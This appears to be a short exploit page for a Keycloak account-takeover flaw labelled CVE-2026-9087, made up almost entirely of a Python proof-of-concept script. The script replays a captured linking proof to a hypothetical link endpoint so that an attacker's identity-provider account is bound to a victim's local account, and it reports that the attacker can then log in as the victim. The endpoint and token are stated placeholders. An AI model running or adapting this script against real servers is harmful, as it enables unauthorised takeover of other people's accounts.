CVE-2026-9087 Keycloak 账户接管漏洞

import requests # Conceptual Proof of Concept for CVE-2026-9087 # Demonstrating the lack of binding between the proof and the upstream identity. def exploit_keycloak_linking(target_url, victim_user_id, idp_alias, attacker_idp_token): """ Attempts to link an attacker's IdP account to a victim's local Keycloak account by replaying a verification proof. """ # Endpoint for linking the account (hypothetical) link_endpoint = f"{target_url}/realms/master/protocol/openid-connect/link" # The vulnerable proof code, typically obtained by the victim during their linking flow # In a real scenario, this might be sniffed or guessed if not sufficiently random victim_proof_code = "captured_proof_token_abc123" headers = { "Authorization": f"Bearer {attacker_idp_token}", "Content-Type": "application/json" } payload = { "userId": victim_user_id, "idpAlias": idp_alias, "proof": victim_proof_code # The flaw: The server checks (userId, idpAlias) but ignores which upstream account generated it } try: print(f"[*] Attempting to hijack link for user {victim_user_id} using IdP {idp_alias}...") response = requests.post(link_endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] Success! Attacker's IdP account linked to victim's local account.") print("[+] Attacker can now log in as the victim.") else: print(f"[-] Failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") # Usage # exploit_keycloak_linking("https://keycloak.example.com", "victim-uuid-123", "google", "attacker-google-token")